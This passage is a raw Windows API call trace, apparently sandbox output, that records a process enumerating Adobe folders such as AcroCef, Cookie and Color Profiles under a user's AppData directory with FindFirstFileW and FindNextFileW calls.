ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0195.880] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0195.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.881] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", nBufferLength=0x105, lpBuffer=0x12feb38, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", lpFilePart=0x0) returned 0x2b [0195.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.881] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", nBufferLength=0x105, lpBuffer=0x12feb04, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", lpFilePart=0x0) returned 0x2b [0195.881] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\*", lpFindFileData=0x12fed78 | out: lpFindFileData=0x12fed78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b278 [0195.881] FindNextFileW (in: hFindFile=0x139b278, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.881] FindNextFileW (in: hFindFile=0x139b278, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0195.881] FindNextFileW (in: hFindFile=0x139b278, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0195.881] FindClose (in: hFindFile=0x139b278 | out: hFindFile=0x139b278) returned 1 [0195.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.882] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef", lpFilePart=0x0) returned 0x2b [0195.882] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\*", lpFindFileData=0x12fed18 | out: lpFindFileData=0x12fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af38 [0195.882] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.882] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0195.882] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.882] FindClose (in: hFindFile=0x139af38 | out: hFindFile=0x139af38) returned 1 [0195.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.882] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", nBufferLength=0x105, lpBuffer=0x12feac8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", lpFilePart=0x0) returned 0x2e [0195.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefe0) returned 1 [0195.883] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", nBufferLength=0x105, lpBuffer=0x12fea94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", lpFilePart=0x0) returned 0x2e [0195.883] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x12fed08 | out: lpFindFileData=0x12fed08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0195.883] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.883] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xd6a51047, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a51047, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0195.883] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xd6a51047, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a51047, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 0 [0195.883] FindClose (in: hFindFile=0x139b138 | out: hFindFile=0x139b138) returned 1 [0195.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef9c) returned 1 [0195.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefa8) returned 1 [0195.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef80) returned 1 [0195.883] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", nBufferLength=0x105, lpBuffer=0x12fea34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC", lpFilePart=0x0) returned 0x2e [0195.884] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x12feca8 | out: lpFindFileData=0x12feca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0195.884] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.901] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xd6a51047, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a51047, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0195.901] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.901] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0195.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef3c) returned 1 [0195.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0195.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat", nBufferLength=0x105, lpBuffer=0x12fea58, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat", lpFilePart=0x0) returned 0x36 [0195.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat", nBufferLength=0x105, lpBuffer=0x12fea24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat", lpFilePart=0x0) returned 0x36 [0195.902] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x12fec98 | out: lpFindFileData=0x12fec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xd6a51047, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a51047, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0195.902] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xd6a51047, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a51047, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.902] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a51047, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd780dd5d, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0195.902] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x777b22bc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookie", cAlternateFileName="")) returned 1 [0195.902] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x777b22bc, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookie", cAlternateFileName="")) returned 0 [0195.902] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0195.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.903] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", nBufferLength=0x105, lpBuffer=0x12feb38, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", lpFilePart=0x0) returned 0x29 [0195.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.903] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", nBufferLength=0x105, lpBuffer=0x12feb04, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", lpFilePart=0x0) returned 0x29 [0195.903] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x12fed78 | out: lpFindFileData=0x12fed78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0195.903] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.903] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73de0392, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73e065fe, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0195.903] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0195.903] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0 [0195.904] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0195.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.904] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color", lpFilePart=0x0) returned 0x29 [0195.904] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x12fed18 | out: lpFindFileData=0x12fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b2b8 [0195.904] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.904] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73de0392, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73e065fe, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0195.904] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1 [0195.904] FindNextFileW (in: hFindFile=0x139b2b8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.905] FindClose (in: hFindFile=0x139b2b8 | out: hFindFile=0x139b2b8) returned 1 [0195.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.905] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", nBufferLength=0x105, lpBuffer=0x12feac8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", lpFilePart=0x0) returned 0x32 [0195.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefe0) returned 1 [0195.905] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", nBufferLength=0x105, lpBuffer=0x12fea94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles", lpFilePart=0x0) returned 0x32 [0195.905] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\*", lpFindFileData=0x12fed08 | out: lpFindFileData=0x12fed08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0195.905] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.906] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d479e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d479e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d479e6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x102a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wscRGB.icc", cAlternateFileName="")) returned 1 [0195.906] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d6dc69, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa74, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc", 